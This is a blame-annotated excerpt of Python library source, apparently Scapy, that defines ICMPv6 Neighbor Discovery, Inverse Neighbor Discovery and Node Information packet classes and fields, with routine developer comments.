1827c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return ""
1828c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l in [2, 3]:
1829c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return x[:8*(l-1)]
1830c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
18312a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter        return x + b'\x00'*8*(l-3)
1832c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1833c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptRouteInfo(_ICMPv6NDGuessPayload, Packet): # RFC 4191
1834c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Route Information Option"
1835c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",24),
1836c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, length_of="prefix", fmt="B",
1837c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                  adjust = lambda pkt,x: x/8 + 1),
1838c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("plen", None),
1839c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("res1",0,3),
1840c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("prf",0,2),
1841c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("res2",0,3),
1842c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("rtlifetime", 0xffffffff),
18436057906368d55634d11e1d19a5cca1f127595b11Robin Jarry                    _IP6PrefixField("prefix", None) ]
18440d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1845c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptRDNSS(_ICMPv6NDGuessPayload, Packet): # RFC 5006
1846c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Recursive DNS Server Option"
1847c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type", 25),
1848c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, count_of="dns", fmt="B",
1849c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                  adjust = lambda pkt,x: 2*x+1),
1850c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("res", None),
1851c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("lifetime", 0xffffffff),
18520d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    IP6ListField("dns", [],
1853c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                 length_from = lambda pkt: 8*(pkt.len-1)) ]
1854c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1855c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptEFA(_ICMPv6NDGuessPayload, Packet): # RFC 5175 (prev. 5075)
1856c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Expanded Flags Option"
1857c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type", 26),
1858c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 1),
1859c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("res", 0, 48) ]
1860c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
18616057906368d55634d11e1d19a5cca1f127595b11Robin Jarry# As required in Sect 8. of RFC 3315, Domain Names must be encoded as
18626057906368d55634d11e1d19a5cca1f127595b11Robin Jarry# described in section 3.1 of RFC 1035
18636057906368d55634d11e1d19a5cca1f127595b11Robin Jarry# XXX Label should be at most 63 octets in length : we do not enforce it
18646057906368d55634d11e1d19a5cca1f127595b11Robin Jarry#     Total length of domain should be 255 : we do not enforce it either
18656057906368d55634d11e1d19a5cca1f127595b11Robin Jarryclass DomainNameListField(StrLenField):
18666057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    __slots__ = ["padded"]
18676057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    islist = 1
18686057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    padded_unit = 8
18696057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
18706057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    def __init__(self, name, default, fld=None, length_from=None, padded=False):
18716057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        self.padded = padded
18726057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        StrLenField.__init__(self, name, default, fld, length_from)
18736057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
18746057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    def i2len(self, pkt, x):
18756057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        return len(self.i2m(pkt, x))
18766057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
18776057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    def m2i(self, pkt, x):
18786057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        res = []
18796057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        while x:
18806057906368d55634d11e1d19a5cca1f127595b11Robin Jarry            # Get a name until \x00 is reached
18816057906368d55634d11e1d19a5cca1f127595b11Robin Jarry            cur = []
18822a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter            while x and x[0] != b'\x00':
18836057906368d55634d11e1d19a5cca1f127595b11Robin Jarry                l = ord(x[0])
18846057906368d55634d11e1d19a5cca1f127595b11Robin Jarry                cur.append(x[1:l+1])
18856057906368d55634d11e1d19a5cca1f127595b11Robin Jarry                x = x[l+1:]
18866057906368d55634d11e1d19a5cca1f127595b11Robin Jarry            if self.padded:
18876057906368d55634d11e1d19a5cca1f127595b11Robin Jarry              # Discard following \x00 in padded mode
18886057906368d55634d11e1d19a5cca1f127595b11Robin Jarry              if len(cur):
18896057906368d55634d11e1d19a5cca1f127595b11Robin Jarry                res.append(".".join(cur) + ".")
18906057906368d55634d11e1d19a5cca1f127595b11Robin Jarry            else:
18916057906368d55634d11e1d19a5cca1f127595b11Robin Jarry              # Store the current name
18926057906368d55634d11e1d19a5cca1f127595b11Robin Jarry              res.append(".".join(cur) + ".")
18932a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter            if x and x[0] == b'\x00':
18946057906368d55634d11e1d19a5cca1f127595b11Robin Jarry                x = x[1:]
18956057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        return res
18966057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
18976057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    def i2m(self, pkt, x):
18986057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        def conditionalTrailingDot(z):
18992a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter            if z and z[-1] == b'\x00':
19006057906368d55634d11e1d19a5cca1f127595b11Robin Jarry                return z
19012a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter            return z+b'\x00'
19026057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        # Build the encode names
19036057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        tmp = map(lambda y: map((lambda z: chr(len(z))+z), y.split('.')), x)
19046057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        ret_string  = "".join(map(lambda x: conditionalTrailingDot("".join(x)), tmp))
19056057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
19066057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        # In padded mode, add some \x00 bytes
19076057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        if self.padded and not len(ret_string) % self.padded_unit == 0:
19082a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter            ret_string += b"\x00" * (self.padded_unit - len(ret_string) % self.padded_unit)
19096057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
19106057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        return ret_string
19116057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
19122e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadonclass ICMPv6NDOptDNSSL(_ICMPv6NDGuessPayload, Packet): # RFC 6106
19132e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon    name = "ICMPv6 Neighbor Discovery Option - DNS Search List Option"
19142e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon    fields_desc = [ ByteField("type", 31),
191532b02729ef889d3d125ae3c69ad28d3f62356a49Guillaume Valadon                    FieldLenField("len", None, length_of="searchlist", fmt="B",
191632b02729ef889d3d125ae3c69ad28d3f62356a49Guillaume Valadon                                  adjust=lambda pkt, x: 1+ x/8),
19172e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                    ShortField("res", None),
19182e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                    IntField("lifetime", 0xffffffff),
19192e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                    DomainNameListField("searchlist", [],
19202e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                                        length_from=lambda pkt: 8*pkt.len -8,
19212e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                                        padded=True)
19222e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                    ]
19232e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon
1924c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# End of ICMPv6 Neighbor Discovery Options.
1925c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1926c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_RS(_ICMPv6NDGuessPayload, _ICMPv6):
1927c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Router Solicitation"
1928c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 133, icmp6types),
1929c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
1930c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
1931c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("res",0) ]
1932c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::2", "hlim": 255 }}
1933c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1934c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_RA(_ICMPv6NDGuessPayload, _ICMPv6):
1935c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Router Advertisement"
1936c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 134, icmp6types),
1937c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
1938c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
1939c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("chlim",0),
1940c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("M",0,1),
1941c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("O",0,1),
1942c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("H",0,1),
1943c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitEnumField("prf",1,2, { 0: "Medium (default)",
1944c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              1: "High",
1945c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              2: "Reserved",
1946c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              3: "Low" } ), # RFC 4191
1947c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("P",0,1),
19480d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    BitField("res",0,2),
1949c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("routerlifetime",1800),
1950c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("reachabletime",0),
1951c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("retranstimer",0) ]
1952c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
1953c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1954c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
1955c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return isinstance(other, ICMPv6ND_RS)
1956c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1957c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_NS(_ICMPv6NDGuessPayload, _ICMPv6, Packet):
1958c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Neighbor Solicitation"
1959c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",135, icmp6types),
1960c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
1961c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
19626695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    IntField("res", 0),
1963c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("tgt","::") ]
1964c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
1965c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1966c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def mysummary(self):
1967c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.sprintf("%name% (tgt: %tgt%)")
1968c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1969c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
19700d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        return self.tgt+self.payload.hashret()
1971c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
19726695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadonclass ICMPv6ND_NA(_ICMPv6NDGuessPayload, _ICMPv6, Packet):
1973c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Neighbor Advertisement"
19746695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon    fields_desc = [ ByteEnumField("type",136, icmp6types),
19756695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    ByteField("code",0),
19766695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    XShortField("cksum", None),
19776695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    BitField("R",1,1),
19786695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    BitField("S",0,1),
19796695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    BitField("O",1,1),
19806695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    XBitField("res",0,29),
19816695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    IP6Field("tgt","::") ]
19826695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
19836695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon
19846695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon    def mysummary(self):
19856695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon        return self.sprintf("%name% (tgt: %tgt%)")
19866695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon
19876695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon    def hashret(self):
19880d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        return self.tgt+self.payload.hashret()
1989c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1990c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
199177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return isinstance(other, ICMPv6ND_NS) and self.tgt == other.tgt
1992c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1993c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# associated possible options : target link-layer option, Redirected header
1994c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_Redirect(_ICMPv6NDGuessPayload, _ICMPv6, Packet):
1995c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Redirect"
1996c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",137, icmp6types),
1997c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
1998c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
1999c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XIntField("res",0),
2000c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("tgt","::"),
2001c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("dst","::") ]
2002c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
2003c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2004c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2005c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2006c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil################ ICMPv6 Inverse Neighbor Discovery (RFC 3122) ###############
2007c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2008c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptSrcAddrList(_ICMPv6NDGuessPayload, Packet):
2009c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Inverse Neighbor Discovery Option - Source Address List"
2010c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",9),
2011c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, count_of="addrlist", fmt="B",
2012c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                  adjust = lambda pkt,x: 2*x+1),
20132a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrFixedLenField("res", b"\x00"*6, 6),
2014c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6ListField("addrlist", [],
2015c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: 8*(pkt.len-1)) ]
2016c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2017c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptTgtAddrList(ICMPv6NDOptSrcAddrList):
2018c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Inverse Neighbor Discovery Option - Target Address List"
20190d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    type = 10
2020c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2021c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2022c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# RFC3122
2023c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Options requises : source lladdr et target lladdr
2024c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Autres options valides : source address list, MTU
2025c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - Comme precise dans le document, il serait bien de prendre l'adresse L2
2026c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#   demandee dans l'option requise target lladdr et l'utiliser au niveau
2027c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#   de l'adresse destination ethernet si aucune adresse n'est precisee
2028c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - ca semble pas forcement pratique si l'utilisateur doit preciser toutes
20290d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#   les options.
2030c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Ether() must use the target lladdr as destination
2031c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_INDSol(_ICMPv6NDGuessPayload, _ICMPv6):
2032c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Inverse Neighbor Discovery Solicitation"
2033c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",141, icmp6types),
2034c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
2035c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum",None),
2036c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XIntField("reserved",0) ]
2037c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
2038c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2039c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Options requises :  target lladdr, target address list
2040c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Autres options valides : MTU
2041c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_INDAdv(_ICMPv6NDGuessPayload, _ICMPv6):
2042c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Inverse Neighbor Discovery Advertisement"
2043c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",142, icmp6types),
2044c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
2045c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum",None),
2046c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XIntField("reserved",0) ]
2047c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
2048c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2049c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2050c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###############################################################################
2051c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# ICMPv6 Node Information Queries (RFC 4620)
2052c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###############################################################################
2053c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
20540d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# [ ] Add automatic destination address computation using computeNIGroupAddr
2055c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     in IPv6 class (Scapy6 modification when integrated) if :
2056c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     - it is not provided
2057c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     - upper layer is ICMPv6NIQueryName() with a valid value
2058c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# [ ] Try to be liberal in what we accept as internal values for _explicit_
20590d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#     DNS elements provided by users. Any string should be considered
2060c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     valid and kept like it has been provided. At the moment, i2repr() will
2061c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     crash on many inputs
2062c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# [ ] Do the documentation
2063c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# [ ] Add regression tests
20640d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# [ ] Perform test against real machines (NOOP reply is proof of implementation).
20650d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# [ ] Check if there are differences between different stacks. Among *BSD,
20660d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#     with others.
2067c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# [ ] Deal with flags in a consistent way.
20680d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# [ ] Implement compression in names2dnsrepr() and decompresiion in
20690d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#     dnsrepr2names(). Should be deactivable.
2070c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2071c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilicmp6_niqtypes = { 0: "NOOP",
2072c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  2: "Node Name",
2073c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  3: "IPv6 Address",
2074c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  4: "IPv4 Address" }
2075c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2076c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2077c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6NIHashret:
2078c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
2079c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.nonce
2080c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2081c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6NIAnswers:
2082c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
2083c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.nonce == other.nonce
2084c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2085c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Buggy; always returns the same value during a session
2086c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass NonceField(StrFixedLenField):
2087c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default=None):
2088c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        StrFixedLenField.__init__(self, name, default, 8)
2089c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if default is None:
2090c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            self.default = self.randval()
2091c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2092caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon@conf.commands.register
2093c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef computeNIGroupAddr(name):
2094caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon    """Compute the NI group Address. Can take a FQDN as input parameter"""
2095c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    import md5
2096c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = name.lower().split(".")[0]
2097c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    record = chr(len(name))+name
2098c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    h = md5.new(record)
2099c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    h = h.digest()
2100c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    addr = "ff02::2:%2x%2x:%2x%2x" % struct.unpack("BBBB", h[:4])
2101c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return addr
2102c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2103c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
21040d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# Here is the deal. First, that protocol is a piece of shit. Then, we
2105c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# provide 4 classes for the different kinds of Requests (one for every
2106c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# valid qtype: NOOP, Node Name, IPv6@, IPv4@). They all share the same
21070d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# data field class that is made to be smart by guessing the specific
21080d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# type of value provided :
2109c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#
2110c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - IPv6 if acceptable for inet_pton(AF_INET6, ): code is set to 0,
21110d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#   if not overridden by user
2112c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - IPv4 if acceptable for inet_pton(AF_INET,  ): code is set to 2,
21130d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#   if not overridden
21140d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# - Name in the other cases: code is set to 0, if not overridden by user
2115c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#
2116c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Internal storage, is not only the value, but the a pair providing
2117c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# the type and the value (1 is IPv6@, 1 is Name or string, 2 is IPv4@)
2118c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#
